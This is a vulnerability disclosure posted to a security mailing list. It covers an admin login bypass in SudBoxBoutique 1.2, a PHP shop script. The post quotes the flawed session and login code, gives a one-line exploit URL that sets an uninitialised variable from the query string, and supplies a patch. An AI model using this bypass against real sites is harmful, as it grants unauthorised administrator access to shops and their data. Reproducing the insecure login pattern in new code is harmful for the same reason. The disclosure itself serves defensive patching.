[VulnDiscuss] SudBoxBoutique : Admin Access (PHP)
"Frog Man" <[email protected]>
| Newsgroups | gmane.comp.security.vulnerabilities.watch.general,gmane.comp.security.bugtraq |
|---|---|
| Message-ID | <[email protected]> |
Informations :
°°°°°°°°°°°°°
Website : http://www.sudbox.com
Version : 1.2
Problem : Admin Acess
PHP Code/Location :
°°°°°°°°°°°°°°°°°°°
admin pages (/admin/ directory):
---------------------------------------------
<?
session_start();
if (!session_is_registered('login')) {
header("Location:page_centrale.php");
}
?>
---------------------------------------------
admin/login.php :
-----------------------------------------------------------------
<?
session_start();
include "../configuration.php";
$query = mysql_query("SELECT admin,motdepasse FROM $sbbadmin");
while ($row = mysql_fetch_row($query)) {
if (($row[0] == $admin) && ($row[1] == $motdepasse)) {
$check = "ok";
}
}
if (IsSet($check)) {
$login = $admin;
session_register('login');
include("nav.php");
exit;
} else {
header("Location: page_centrale.php");
}
?>
-----------------------------------------------------------------
Exploit :
°°°°°°°
http://[target]/admin/login.php?check=1&admin=1
Patch :
°°°°°°°
A security patch can be found on http://www.phpsecure.info .
Just add this line :
------------
$check = "";
------------
after this one :
-------------------------------
include "../configuration.php";
-------------------------------
in admin/login.php.
More Details In French :
°°°°°°°°°°°°°°°°°°°°°°
http://www.frog-man.org/tutos/SudBoxBoutique.txt
frog-m@n
_________________________________________________________________
MSN Messenger : discutez en direct avec vos amis !
http://messenger.fr.msn.be